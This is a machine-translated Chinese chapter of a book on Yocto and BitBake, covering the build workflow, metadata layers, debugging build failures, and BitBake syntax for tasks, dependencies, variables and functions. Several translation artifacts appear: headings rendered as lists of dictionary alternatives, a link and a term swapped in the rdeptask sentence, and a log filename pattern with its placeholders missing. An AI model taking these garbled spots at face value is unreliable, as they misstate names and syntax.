默认情况下要生成的包集由`PACKAGES`变量确定。 这两个变量都是在`meta/classes/packagegroup.bbclass`中定义的,但是它们的值可以被从该`BitBake`类继承的包组食谱覆盖。 - -构建 SDK 支持整个其他开发工作流程,用于操作单独的包食谱。 在上一章的*使用 devtool*捕获更改一节中,我们了解了如何使用`devtool`添加和修改 SDK 软件包,以便将它们集成回映像中。 - -## 元数据 - -**元数据**是进入构建系统的输入。 它控制着建造什么以及如何建造。 元数据不仅仅是食谱。 BSP、策略、补丁和其他形式的配置文件也是元数据。 构建哪个版本的包以及从哪里提取源代码肯定是元数据的形式。 开发人员通过命名文件、设置变量和运行命令来做出所有这些选择。 这些配置操作、参数值及其产生的构件是另一种形式的元数据。 Yocto 解析所有这些输入,并将它们转换为完整的 Linux 映像。 - -对于使用 Yocto 进行构建,开发人员做出的第一个选择是 -机器架构的目标。 这可以通过在项目的 -`conf/local.conf`文件中设置`MACHINE`变量来实现。 在针对 QEMU 时,我喜欢使用 -`MACHINE ?= "qemuarm64"`来指定`aarch64`作为机器架构。 -Yocto 确保正确的编译器标志从 BSP 向下传播到其他构建层。 - -特定于体系结构的设置在名为*tunes*的文件中定义,这些文件位于 Yocto 的`meta/conf/machine/include`目录中,以及各个 BSP 层本身。 每个 Yocto 版本都包含许多 BSP 层。 在上一章中,我们广泛使用了`meta-raspberrypi`BSP 层。 每个 BSP 的源代码都驻留在它自己的 Git 存储库中。 - -要克隆 Xilinx 的 BSP 层(其中包含对其 Zynq 系列 SoC 的支持),请使用以下命令: - -```sh -$ git clone git://git.yoctoproject.org/meta-xilinx -``` - -这只是 Yocto 附带的众多 BSP 层中的一个例子。 在后续的任何练习中,您都不需要该层,因此可以随意丢弃它。 - -元数据需要个源代码才能起作用。 BitBake 的`do_fetch`任务可以通过多种不同的方式获取菜谱源文件。 以下是两种最突出的方法: - -* 当别人开发你需要的软件时,最简单的方法就是让 BitBake 下载该项目的 tarball 版本。 -* 要扩展别人的开源软件,只需在 GitHub 上派生存储库。 然后,BitBake 的`do_fetch`任务可以使用 Git 从给定的`SRC_URI`克隆源文件。 - -如果您的团队负责软件,那么您可以选择将其作为本地项目嵌入到您的工作环境中。 您可以通过将其嵌套为子目录或使用`externalsrc`类将其定义在树外来实现这一点。 嵌入意味着源代码绑定到您的层存储库,不能在其他地方轻松使用。 -使用`externalsrc`的树外项目要求所有建筑实例上的路径相同,并破坏可重复性。 这两种技术仅仅是用于加速开发的工具。 这两种产品都不应该用于生产。 - -策略是作为分布层捆绑在一起的属性。 其中包括 Linux 发行版需要哪些特性(例如`systemd`)、C 库实现 -(`glibc`或`musl`)和包管理器。 每个发行版层都有自己的`conf/distro`子目录。 目录中`.conf`文件定义分发或映像的顶级策略。 有关发行版层的示例,请参见`meta-poky`子目录。 这个 POKY 参考分布层包括`.conf`文件,用于为您的目标设备构建默认的、微小的、渗漏边缘的和其他风格的 POKY。 我们在上一章的*构建您自己的发行版*一节中介绍了这一点。 - -## 构建任务 - -我们已经看到了 BitBake 的`do_fetch`任务如何下载和提取食谱的源代码。 构建过程的下一步是修补、配置和编译所述源代码:`do_patch`、`do_configure`和`do_compile`。 - -`do_patch`任务使用`FILESPATH`变量和配方的`SRC_URI`变量来定位补丁文件并将它们应用到预期的源代码。 在`meta/classes/base.bbclass`中的`FILESPATH`变量定义构建系统用来搜索补丁文件的默认目录集 -(*Yocto Project Reference Manual*, -[https://www.yoctoproject.org/docs/current/ref-manual/ref-manual.html#ref-tasks-patch](https://www.yoctoproject.org/docs/current/ref-manual/ref-manual.html#ref-tasks-patch))。 按照惯例,补丁文件的名称以`.diff`和`.patch`结尾,并且驻留在相应配方文件所在的子目录中。 通过定义一个`FILESEXTRAPATHS`变量并将文件路径名附加到 -配方的`SRC_URI`变量,可以扩展和覆盖此默认行为。 修补源代码后,`do_configure`和 -`do_compile`任务将配置、编译和链接它: - -![Figure 8.2 – Package feeds](img/B11566_08_02.jpg) - -图 8.2-软件包馈送 - -当`do_compile`完成时,`do_install`任务将结果文件复制到 -临时区域,在那里它们已准备好打包。 在那里,`do_package`和 -`do_package_data`任务协同工作,以处理登台区中的构建构件,并将它们划分为包。 在将包提交到 Package Feed 区域之前,`do_package_qa`任务会对包构件进行一系列 QA 检查。 这些自动生成的质量保证检查在`meta/classes/insane.bbclass`中定义。 最后,`do_package_write_*`任务创建各个包并将它们发送到包提要区域。 一旦填充了包提要区域,BitBake 就可以生成图像和 SDK 了。 - -## 图像生成 - -生成图像是一个多阶段的过程,它依赖于几个变量来执行一系列任务。 `do_rootfs`任务为映像创建根文件系统。 这些变量决定将哪些软件包安装到映像上: - -* `IMAGE_INSTALL`:要安装到映像上的软件包 -* `PACKAGE_EXCLUDE`:要从映像中省略的包 -* `IMAGE_FEATURES`:要安装到映像上的其他软件包 -* `PACKAGE_CLASSES`:要使用的包格式(`rpm`、`deb`或`ipk`) -* `IMAGE_LINGUAS`:要包括的支持包的语言(文化) - -回想一下,在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中,我们将包添加到`IMAGE_INSTALL`变量中,作为*编写映像配方*部分的一部分。 来自`IMAGE_INSTALL`变量的包列表被传递给包管理器(`dnf`、`apt`或`opkg`),以便可以将它们安装在映像上。 调用哪个包管理器取决于包提要的格式:`do_package_write_rpm`、`do_package_write_deb`或`do_package_write_ipk`。 无论目标上是否包含运行时包管理器,都会进行包安装。 如果没有安装包管理器,则出于卫生目的和节省空间的目的,不必要的文件将在此包安装阶段结束时从映像中删除。 - -软件包安装完成后,将运行软件包的安装后脚本。 这些安装后脚本随软件包一起提供。 如果所有安装后脚本都成功运行,则会写入一个清单,并在根文件系统映像上执行优化。 此顶级`.manifest`文件列出了已安装在映像上的所有软件包。 默认库大小和可执行启动时间优化由`ROOTFS_POSTPROCESS_COMMAND`变量定义。 - -现在已经完全填充了根文件系统,`do_image`任务可以开始图像处理了。 首先,执行由`IMAGE_PREPROCESS_COMMAND`变量定义的所有预处理命令。 接下来,该过程创建最终的图像输出文件。 它通过为`IMAGE_FSTYPES`变量中指定的每个图像类型(例如,`cpio.lz4`、`ext4`和`squashfs-lzo`)启动一个`do_image_*`任务来实现这一点。 然后,构建系统获取`IMAGE_ROOTFS`目录的内容,并将其转换为一个或多个图像文件。 当指定的文件系统格式允许时,这些输出图像文件被压缩。 最后,`do_image_complete`任务通过执行`IMAGE_POSTPROCESS_COMMAND`变量定义的每个后处理命令来完成图像。 - -现在,我们已经端到端地跟踪了 Yocto 的整个构建工作流,让我们来看看构建大型项目的一些最佳实践。 - -# 将元数据分成层 - -Yocto 元数据围绕以下概念进行组织: - -* **发行版**:操作系统特性,包括选择 C 库、`init`系统和 - 窗口管理器 -* **机器**:CPU 架构、内核、驱动程序和引导加载程序 -* **配方**:应用二进制文件和/或脚本 -* **图像**:开发、制造或生产 - -这些概念将直接映射到构建系统的实际副产品,从而为我们在设计项目时提供指导。 我们可以急于将所有东西组装到一个单层中,但这很可能会导致一个缺乏灵活性和不可维护性的项目。 硬件不可避免地会被修改,一个成功的消费设备很快就会变成一系列产品。 出于这些原因,最好在早期采用多层方法,这样我们最终得到的软件组件就可以很容易地修改、换出和重用。 - -至少,您应该为开始使用 Yocto 的每个主要项目创建单独的分布层、BSP 层和应用层。 分布层构建您的应用将在其上运行的目标操作系统(Linux 发行版)。 帧缓冲区和窗口管理器配置文件属于分布层。 BSP 层指定硬件运行所需的引导加载程序、内核和设备树。 应用层包含构建构成自定义应用的所有包所需的配方。 - -我们第一次遇到`MACHINE`变量是在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中,当时我们使用 Yocto 执行了我们的第一次构建。 我们在上一章末尾介绍了变量`DISTRO` -,当时我们创建了自己的分布层。 -本书中的其他 Yocto 练习依赖于`meta-poky`作为发行版层。 通过将层插入到 Active Build 目录的 -`conf/bblayers.conf`文件中的`BBLAYERS`变量中,可以将层添加到您的构建中。 以下是 POKY 的默认`BBLAYERS`定义的示例: - -```sh -BBLAYERS ?= " \ -  /home/frank/poky/meta \ -  /home/frank/poky/meta-poky \ -  /home/frank/poky/meta-yocto-bsp \ -  " -``` - -使用`bitbake-layers`命令行工具处理项目图层,而不是直接编辑`bblayers.conf`。 抵制直接修改 POKY 源码树的诱惑。 始终在 POKY 上方创建您自己的图层(例如,`meta-mine`),并在那里进行更改。 下面是开发期间 Active Build 目录(例如,`build-mine`)中的`conf/bblayers.conf`文件中的`BBLAYERS`变量应该是什么样子: - -```sh -BBLAYERS ?= " \ -  /home/frank/poky/meta \ -  /home/frank/poky/meta-poky \ -  /home/frank/poky/meta-yocto-bsp \ -  /home/frank/meta-mine \ -  /home/frank/build-mine/workspace \ -  " -``` - -`workspace`是我们在上一章实验`devtool`时遇到的一个特殊临时层。 每个 BitBake 层都具有相同的基本目录结构,无论它是哪种类型的层。 按照惯例,层目录名称通常以`meta-`前缀开头。 以下面的虚拟图层为例: - -```sh -$ tree meta-example -meta-example -├── classes -│   ├── class-a.bbclass -│   ├── ... -│   └── class-z.bbclass -├── conf -│   └── layer.conf -├── COPYING.MIT -├── README -├── recipes-a -│   ├── package-a -│   │   └── package-a_0.1.bb -│   ├── ... -│   └── package-z -│       └── package-z_0.1.bb -├── recipes-b -│   └── ... -└── recipes-c -    └── ... -``` - -每个层都必须有一个包含`layer.conf`文件的`conf`目录,以便 BitBake 可以设置路径和搜索元数据文件的模式。 我们在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中仔细查看了`layer.conf`的内容,当时我们为 Nova 电路板创建了`meta-nova`层。 BSP 和分布层还可以在`conf`目录下有一个`machine`或`distro`子目录以及更多。 `conf`文件。 我们在上一章中研究了机器和发行版的结构,当时我们在`meta-raspberrypi`层的基础上构建并创建了我们自己的`meta-mackerel`发行层。 - -只有定义自己的 BitBake 类的层才需要`classes`子目录。 食谱是按类别组织的,例如*连接性*,因此`recipes-a`实际上是`recipes-connectivity`的占位符,依此类推。 一个类别可以包含一个或多个包,每个包都有自己的一组 BitBake 配方文件(`.bb`)。 配方文件按包版本号进行版本控制。 同样,像`package-a`和`package-z`这样的名称仅仅是真实包的占位符。 - -在这些不同的层次中很容易迷失方向。 即使你对 Yocto 变得越来越熟练,你也会发现很多时候你会问自己某个特定的文件是如何出现在你的图像上的。 或者,更有可能的是,您需要修改或扩展的食谱文件在哪里才能完成您需要做的事情? 幸运的是,Yocto 提供了一些命令行工具来帮助您回答这些问题。 我建议您探索`recipetool`、`oe-pkgdata-util`和`oe-pkgdata-browser`,并熟悉它们。 你可以为自己节省很多时间。 - -# 生成失败故障排除 - -在前两章中,我们了解了如何为 QEMU、我们的 Nova 主板和 Raspberry PI 4 构建可引导映像。但是当出现问题时会发生什么? 在这一节中,我们将介绍一些有用的调试技术,这些技术应该会使争论 Yocto 构建失败的前景变得不那么可怕。 - -要执行后续练习中的命令,需要激活 BitBake 环境,如下所示: - -1. 首先,在克隆 Yocto 的目录上导航一级。 -2. 接下来,设置您的 BitBake 工作环境: - - ```sh - $ source poky/oe-init-build-env build-rpi - ``` - -这将设置一系列环境变量,并将您带回我们在上一章中创建的`build-rpi`目录。 - -## 隔离错误 - -那么,您的构建失败了,但是它在哪里失败了呢? 您收到了一条错误消息,但它是什么意思?它来自哪里? 不要绝望。 调试的第一步是重现错误。 一旦可以重现错误,就可以将问题缩小到一系列已知步骤。 追溯这些步骤就是您发现故障的方式: - -1. 首先,查看 BitBake 构建错误消息,看看是否识别出任何包或任务名称。 如果您不确定工作区中有哪些包,可以使用以下命令获取它们的列表: - - ```sh - $ bitbake-layers show-recipes - ``` - -2. Once you have identified which package failed to build, then search your current layers for any recipe or appends files related to that package, like so: - - ```sh - $ find ../poky -name "*connman*.bb*" - ``` - - 在本例中,要搜索的包是`connman`。 前面`find`命令中的`../poky`参数假定您的构建目录与`poky`相邻,就像上一章中的`build-pi`一样。 - -3. 接下来,列出`connman`配方可用的所有任务: - - ```sh - $ bitbake -c listtasks connman - ``` - -4. 要重现错误,可以重新生成`connman`,如下所示: - - ```sh - $ bitbake -c clean connman && bitbake connman - ``` - -既然您知道了构建失败的秘诀和任务,您就可以继续进行下一阶段的调试了。 - -## 倾倒环境 - -在调试构建失败时,您需要查看 BitBake 环境中变量的当前值。 让我们从头开始,然后向下工作: - -1. First, dump the global environment and search for the value of `DISTRO_FEATURES`: - - ```sh - $ bitbake -e | less - ``` - - 输入`/DISTRO_FEATURES=`(注意前面的正斜杠);`less`应该跳到类似下面这样的一行: - - ```sh - DISTRO_FEATURES="acl alsa argp bluetooth ext2 ipv4 ipv6 largefile pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g nfc x11 vfat largefile opengl ptest multiarch wayland vulkan pulseaudio sysvinit gobject-introspection-data ldconfig" - ``` - -2. 要转储 busybox 的软件包环境并找到其源目录,请使用以下命令: - - ```sh - $ bitbake -e busybox | grep ^S= - ``` - -3. To dump connman's package environment and locate its working directory, use the following command: - - ```sh - $ bitbake -e connman | grep ^WORKDIR= - ``` - - 包的工作目录是在 - 个 BitBake 构建期间保存其配方任务日志的位置。 - -在*步骤 1*中,我们可以将输出从`bitbake -e`输送到`grep`,但是`less`允许我们更容易地跟踪变量的求值。 在`less`中输入不带尾随等号的`/DISTRO_FEATURES`以搜索该变量的更多匹配项。 点击*n*跳转到下一个事件,点击*N*跳到上一个事件。 - -同样的命令也适用于图像和包装食谱: - -```sh -$ bitbake -e core-image-minimal | grep ^S= -``` - -在本例中,要转储的目标环境属于`core-image-minimal`。 - -现在您知道了源和任务日志文件的位置,让我们来看看一些任务日志。 - -## 读取任务日志 - -BitBake 为每个 shell 任务创建一个日志文件,并将其保存到包的工作目录中的临时文件夹中。 在`connman`的情况下,该临时文件夹的路径类似于 -: - -```sh -$ ./tmp/work/aarch64-poky-linux/connman/1.37-r0/temp -``` - -日志文件名的格式为`log.do_.`。 还有名称末尾没有``的`symlinks`,它们指向每个任务的最新日志文件。 日志文件包含任务运行的输出,在大多数情况下,这是调试问题所需的所有信息。 如果没有,猜猜你能做什么? - -## 添加更多日志记录 - -在 BitBake 中,来自 Python 的日志记录不同于来自 Shell 的日志记录。 要从 Python 登录,可以使用 BitBake 的`bb`模块,该模块调用 Python 的标准`logger`模块,如下所示: - -```sh -bb.plain -> none; Output: logs console -bb.note -> logger.info; Output: logs -bb.warn -> logger.warning; Output: logs console -bb.error -> logger.error; Output: logs console -bb.fatal -> logger.critical; Output: logs console -bb.debug -> logger.debug; Output: logs console -``` - -要从 shell 进行日志记录,可以使用 BitBake 的`logging`类,其源代码可以在`meta/classes/logging.bbclass`中找到。 继承`base.bbclass`的所有配方自动继承`logging.bbclass`。 这意味着您应该已经可以从大多数 Shell 配方文件中使用以下所有日志记录功能: - -```sh -bbplain -> Prints exactly what is passed in. Use sparingly. -bbnote -> Prints noteworthy conditions with the NOTE prefix. -bbwarn -> Prints a non-fatal warning with the WARNING prefix. -bberror -> Prints a non-fatal error with the ERROR prefix. -bbfatal -> Prints a fatal error and halts the build. -bbdebug -> Prints debug messages depending on log level. -``` - -根据`logging.bbclass`源,`bbdebug`函数将整数调试日志级别作为其第一个参数: - -```sh -# Usage: bbdebug 1 "first level debug message" -#        bbdebug 2 "second level debug message -bbdebug () { -    USAGE = 'Usage: bbdebug [123] "message"' -    … -} -``` - -根据调试日志级别的不同,`bbdebug`消息可能会进入控制台,也可能不会进入控制台。 - -## 从 devshell 运行命令 - -BitBake 提供了一个开发 shell,这样您就可以在更具交互性的环境中手动运行构建命令。 要进入`devshell`以构建`connman`,请使用以下命令: - -```sh -$ bitbake -c devshell connman -``` - -首先,该命令提取并修补`connman`的源代码。 接下来,它将在 Connman 的源目录中打开一个新的终端,并正确设置用于构建的环境。 一旦进入`devshell`,就可以运行像`./configure`和`make`这样的命令,或者直接使用`$CC`调用交叉编译器。 `devshell`非常适合于试验像`CFLAGS`或`LDFLAGS`这样的值,这些值作为命令行参数或环境变量传递给 CMake 和 Autotools 等工具。 至少,如果您正在阅读的错误消息没有意义,您可以提高构建命令的详细级别。 - -## 用图形表示依赖项 - -有时,构建错误的原因无法在包配方文件中找到,因为错误实际上是在构建包的依赖项时发生的。 要获取`connman`包的依赖项列表,请使用以下命令: - -```sh -$ bitbake -v connman -``` - -我们可以使用 BitBake 的内置任务资源管理器来显示和导航依赖项: - -```sh -$ bitbake -g connman -u taskexp -``` - -前面的命令在分析`connman`之后启动任务资源管理器的图形用户界面: - -重要注 - -一些较大的映像(如 core-image-x11)具有复杂的包依赖关系树,这可能会使任务资源管理器崩溃。 - -![Figure 8.3 – Task explorer](img/B11566_08_03.jpg) - -图 8.3-任务资源管理器 - -现在,让我们将从构建和构建失败的主题中移开,专注于 Yocto 项目的原材料;也就是 BitBake 元数据。 - -# 了解 BitBake 语法和语义 - -BitBake 是一个任务运行者。 它在这方面类似于 GNU`make`,不同之处在于它对食谱而不是 Make 文件进行操作。 这些食谱中的元数据定义了 Shell 和 Python 中的任务。 BitBake 本身是用 Python 编写的。 Yocto 基于的 OpenEmbedded 项目由 BitBake 和用于构建嵌入式 Linux 发行版的大量食谱组成。 BitBake 的强大之处在于它能够并行运行任务,同时仍然满足任务间的依赖关系。 它对元数据的分层和基于继承的方法使 Yocto 能够以基于 Buildroot 的构建系统无法实现的方式进行扩展。 - -在[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*中,我们了解了五种类型的 BitBake 元数据文件,即`.bb`、`.bbappend`、`.inc`、`.bbclass`和`.conf`。 我们还编写了用于构建基本`helloworld`程序和`nova-image`映像的 BitBake 食谱。 现在,我们将更仔细地查看 BitBake 元数据文件的内容。 我们知道任务是用 shell 和 Python 混合编写的,但是什么会去哪里?为什么呢? 我们可以使用哪些语言构造,我们可以用它们做什么? 我们如何编写元数据来构建我们的应用? 在充分利用 Yocto 的强大功能之前,你需要学习读写 BitBake。 - -## 任务 - -任务是 BitBake 需要按顺序运行以执行配方的函数。 回想一下,任务名称以`do_`前缀开头。 以下是来自`recipes-core/systemd`的任务: - -```sh -do_deploy () { -    install ${B}/src/boot/efi/systemd-boot*.efi ${DEPLOYDIR} -} -addtask deploy before do_build after do_compile -``` - -在本例中,定义了名为`do_deploy`的函数,并使用`addtask`命令将其立即提升为任务。 `addtask`命令还指定任务间的依赖关系。 例如,此`do_deploy`任务取决于`do_compile`任务的完成,而`do_build`任务取决于`do_deploy`任务的完成。 `addtask`表示的依赖关系只能在配方文件内部。 - -也可以使用`deltask`命令删除任务。 这会阻止 BitBake 将该任务作为配方的一部分执行。 要删除前面的`do_deploy`任务,请使用以下命令: - -```sh -deltask do_deploy -``` - -这将从配方中删除任务,但原始的`do_deploy`函数定义仍将保留,并且仍然可以调用。 - -## 依赖关系 - -为了确保高效的并行处理,BitBake 在任务级别处理依赖关系。 -我们看到了如何使用`addtask`来表示单个配方文件中的任务之间的依赖关系。 不同配方中的任务之间也存在依赖关系。 事实上,当我们考虑包之间的构建时和运行时依赖关系时,通常会想到这些任务间依赖关系。 - -### 任务间依赖关系 - -变量标志(**可变标志**)是一种将属性或属性附加到变量的方法。 它们的行为类似于散列映射中的键,因为它们允许您为值设置键并按键检索值。 BitBake 定义了一大组在食谱和类中使用的 varflag。 这些 varflag 指示任务的组件和依赖项是什么。 以下是 varflag 的一些示例: - -```sh -do_patch[postfuncs] += "copy_sources" -do_package_index[depends] += "signing-keys:do_deploy" -do_rootfs[recrdeptask] += "do_package_write_deb do_package_qa" -``` - -分配给 varflag 键的值通常是一个或多个其他任务。 这意味着与`addtask`不同,BitBake 可变标志为我们提供了另一种表达任务间依赖关系的方式。 大多数嵌入式 Linux 开发人员在日常工作中可能永远不需要接触 varflag。 我在这里介绍它们,这样我们就可以理解下面的`DEPENDS`和`RDEPENDS`示例。 - -### 构建时依赖项 - -BitBake 使用`DEPENDS`变量来管理构建时依赖项。 任务的`deptask`varflag 表示必须为`DEPENDS`中的每个项目完成的任务,然后才能执行该任务(*BitBake 用户手册*,[https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#build-dependencies](https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#build-dependencies)): - -```sh -do_package[deptask] += "do_packagedata" -``` - -在本例中,必须先完成`DEPENDS`中每个项目的`do_packagedata`任务,然后才能执行`do_package`。 - -或者,您可以绕过`DEPENDS`变量,使用`depends`标志显式定义构建时依赖项: - -```sh -do_patch[depends] += "quilt-native:do_populate_sysroot" -``` - -在本例中,属于`quilt-native`命名空间的`do_populate_sysroot`任务必须先完成,然后才能执行`do_patch`。 食谱的任务通常组合在它们自己的命名空间中,以支持这种直接访问。 - -### 运行时依赖项 - -BitBake 使用`PACKAGES`和`RDEPENDS`变量来管理运行时依赖项。 变量`PACKAGES`列出配方创建的所有运行时包。 这些包中的每一个都可以有`RDEPENDS`个运行时依赖项。 这些是必须安装的包,给定的包才能运行。 任务的`rdeptask`https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#runtime-dependencies 标志指定在执行任务之前必须为每个运行时依赖项完成哪些任务(*BitBake 用户手册*,[varflag](https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#runtime-dependencies)): - -```sh -do_package_qa[rdeptask] = "do_packagedata" -``` - -在本例中,必须先完成`RDEPENDS`中每个项目的`do_package_data`任务,然后才能执行`do_package_qa`。 - -类似地,`rdepends`标志的工作方式与`depends`标志非常相似,它允许您绕过`RDEPENDS`变量。 唯一的区别是`rdepends`是在运行时强制执行的,而不是在构建时强制执行的。 - -## 变量 - -BitBake 变量语法类似于`make`变量语法。 BitBake 中变量的作用域取决于定义变量的元数据文件的类型。 配方文件(`.bb`)中声明的每个变量都是局部变量。 配置文件(`.conf`)中声明的每个变量都是全局变量。 图像只是一个食谱,所以图像不能影响另一个食谱中发生的事情。 - -### 分配和扩展 - -变量赋值和扩展的工作方式与 Shell 中相同。 默认情况下,在解析语句后立即进行赋值,并且赋值是无条件的。 `$`字符触发变量扩展。 括起的大括号是可选的,用于保护要扩展的变量不受紧随其后的字符的影响。 扩展变量通常用双引号括起来,以避免意外的分词和截断: - -```sh -OLDPKGNAME = "dbus-x11" -PROVIDES_${PN} = "${OLDPKGNAME}" -``` - -变量是可变的,通常在引用时计算,而不是像`make`中那样赋值。 这意味着如果变量在赋值的右侧被引用,那么在 -左侧的变量被展开之前,引用的变量不会被求值。 因此,如果右侧的值随时间变化,那么 -左侧变量的值也会随时间变化。 - -如果变量在解析时未定义,则条件赋值仅定义该变量。 当您不想要该行为时,这会阻止重新分配: - -```sh -PREFERRED_PROVIDER_virtual/kernel ?= "linux-yocto" -``` - -在生成文件的顶部使用条件赋值,以防止可能已由构建系统设置的变量(例如,`CC`、`CFLAGS`和`LDFLAGS`)被覆盖。 条件赋值确保我们不会附加或预先添加到菜谱中稍后未定义的变量。 - -使用`??=`的延迟赋值行为与`?=`相同,不同之处在于赋值是在解析过程结束时进行的,而不是立即进行(*BitBake 用户手册*,[https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#setting-a-weak-default-value](https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#setting-a-weak-default-value)): - -```sh -TOOLCHAIN_TEST_HOST ??= "localhost" -``` - -这意味着如果变量名位于多个惰性赋值的左侧,则最后一个惰性赋值语句获胜。 - -另一种形式的变量赋值强制在解析时立即对赋值的右侧进行求值: - -```sh -target_datadir := "${datadir}" -``` - -请注意,用于立即赋值的`:=`运算符来自`make`,而不是 shell。 - -### 追加和前置 - -在 BitBake 中附加或前置变量或变量标志很容易。 以下两个运算符在左侧的值和从右侧追加或附加的值之间插入一个空格: - -```sh -CXXFLAGS += "-std=c++11" -PACKAGES =+ "gdbserver" -``` - -请注意,当而不是字符串值应用于整数时,`+=`运算符表示递增,而不是追加。 - -如果您希望省略单个空格,也有赋值运算符可以做到这一点: - -```sh -BBPATH .= ":${LAYERDIR}" -FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemd:" -``` - -附加和前置赋值运算符的单空格版本在整个 BitBake 元数据文件中使用。 - -### 覆盖 - -BitBake 提供了另一种附加和前置变量的语法。 这种连接样式称为*覆盖*语法: - -```sh -CFLAGS_append = " -DSQLITE_ENABLE_COLUMN_METADATA" -PROVIDES_prepend = "${PN} " -``` - -虽然乍一看可能不明显,但前面两行并没有定义新的变量。 后缀`_append`和`_prepend`修改或*覆盖*现有变量的值。 它们的功能更像 BitBake 的`.=`和`=.`,而不是`+=`和`=+`运算符,因为它们在组合字符串时省略了单个空格。 与这些运算符不同,覆盖是惰性的,因此在所有解析完成之前不会进行赋值。 - -最后,让我们看一下更高级的条件赋值形式,它涉及`meta/conf/bitbake.conf`中定义的`OVERRIDES`变量。 `OVERRIDES`变量是您希望满足的条件的冒号分隔列表。 此列表用于在同一变量的多个版本之间进行选择,每个版本由不同的后缀区分。 各种后缀与条件的名称相匹配。 假设`OVERRIDES`列表包含`${TRANSLATED_TARGET_ARCH}`作为条件。 现在,您可以定义一个以`aarch64`目标 CPU 体系结构为条件的变量版本,例如`VALGRINDARCH_aarch64`变量: - -```sh -VALGRINDARCH ?= "${TARGET_ARCH}" -VALGRINDARCH_aarch64 = "arm64" -VALGRINDARCH_x86-64 = "amd64" -``` - -当`TRANSLATED_TARGET_ARCH`变量扩展到`aarch64`时,将优先选择`VALGRINDARCH`变量的`VALGRINDARCH_aarch64`版本。 与其他条件赋值方法(如 C 中的`#ifdef`指令)相比,基于`OVERRIDES`选择变量值更干净、更不易损坏。 - -BitBake 还支持根据特定项目是否列在`OVERRIDES`(*BitBake 用户手册*,[https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#conditional-metadata](https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#conditional-metadata))中对变量值进行追加和前置操作。 以下是各种真实世界的示例: - -```sh -EXTRA_OEMAKE_prepend_task-compile = "${PARALLEL_MAKE} " -EXTRA_OEMAKE_prepend_task-install = "${PARALLEL_MAKEINST} " -DEPENDS = "attr libaio libcap acl openssl zip-native" -DEPENDS_append_libc-musl = " fts " -EXTRA_OECONF_append_libc-musl = " LIBS=-lfts " -EXTRA_OEMAKE_append_libc-musl = " LIBC=musl " -``` - -请注意,`libc-musl`是将字符串值附加到`DEPENDS`、`EXTRA_OECONF`和`EXTRA_OEMAKE`变量的条件。 与前面用于追加和前置变量的无条件覆盖语法一样,此条件语法也是惰性的。 直到配方和配置文件被解析之后,才会发生赋值。 - -根据`OVERRIDES`的内容对变量进行有条件的追加和前置操作非常复杂,可能会导致不必要的意外。 在采用这些更高级的 BitBake 特性之前,我建议您多练习基于`OVERRIDES`的条件赋值。 - -### 内联蟒蛇 - -BitBake 中的`@`符号允许我们在变量中插入和执行 Python 代码。 每次展开`=`运算符左侧的变量 -时,都会计算 -内联 Python 表达式。 -运算符`:=`右侧的内联 Python 表达式在解析时只计算一次。 以下是一些内联 Python 变量扩展的示例: - -```sh -PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}" -BOOST_MAJ = "${@"_".join(d.getVar("PV").split(".")[0:2])}" -GO_PARALLEL_BUILD ?= "${@oe.utils.parallel_make_argument(d, '-p %d')}" -``` - -请注意,`bb`和`oe`是 BitBake 和 OpenEmbedded 的 Python 模块的别名。 另外,请注意,`d.getVar("PV")`用于从任务的运行时环境中检索`PV`变量的值。 变量`d`引用一个数据存储对象,BitBake 将原始执行环境的副本保存到该对象。 这在很大程度上就是 BitBake shell 和 Python 代码彼此互操作的方式。 - -## 函数 - -函数是构成 BitBake 任务的材料。 它们是用 Shell 或 Python 编写的,并在`.bbclass`、`.bb`和`.inc`文件中定义。 - -### 壳 / 炮弹 / 鞘翅 / 外皮 - -用 shell 编写的函数作为函数或任务执行。 作为任务运行的函数通常为,其名称以`do_`前缀开头。 下面是 shell 中函数的外观: - -```sh -meson_do_install() { -    DESTDIR='${D}' ninja -v ${PARALLEL_MAKEINST} install -} -``` - -请记住,在编写函数时要保持外壳不可知性。 BitBake 使用`/bin/sh`执行 shell 代码片段,它可能是也可能不是 Bash shell,具体取决于主机发行版。 通过对您的 shell 脚本运行`scripts/verify-bashisms`Linter 来避免虚张声势。 - -### 蟒蛇,蚺蛇 / 巨蛇 - -BitBake 理解三种类型的 Python 函数:纯、BitBake 样式和匿名。 - -#### 纯 Python 函数 - -**纯 Python 函数**是用常规的 Python 编写的,并由其他 Python 代码调用。 所谓*纯*,我的意思是函数完全位于 Python 解释器的执行环境范围内,而不是函数编程意义上的纯*。 下面是`meta/recipes-connectivity/bluez5/bluez5.inc`中的一个示例:* - -```sh -def get_noinst_tools_paths (d, bb, tools): -    s = list() -    bindir = d.getVar("bindir") -    for bdp in tools.split(): -        f = os.path.basename(bdp) -        s.append("%s/%s" % (bindir, f)) -    return "\n".join(s) -``` - -请注意,此函数接受参数,就像真正的 Python 函数一样。 关于这个函数,我还想指出一些更值得注意的事情。 首先,数据存储对象不可用,因此需要将其作为函数参数传递(在本例中为`d`变量)。 其次,`os`模块是自动可用的,因此不需要导入或传入。 - -纯 Python 函数可以由使用`@`符号分配给外壳变量的内联 Python 调用。 事实上,这正是该包含文件的下一行中发生的事情: - -```sh -FILES_${PN}-noinst-tools = \ -"${@get_noinst_tools_paths(d, bb, d.getVar('NOINST_TOOLS'))}" -``` - -请注意,在`@`符号之后的内联 Python 作用域中,`d`数据存储对象和`bb`模块都自动可用。 - -#### BitBake 样式的 Python 函数 - -**BitBake 样式 Python 函数**定义由`python`关键字表示,而不是 Python 的原生`def`关键字。 这些函数通过从其他 Python 函数(包括 BitBake 自己的内部函数)调用`bb.build.exec_func()`来执行。 与纯 Python 函数不同,BitBake 样式函数不带参数。 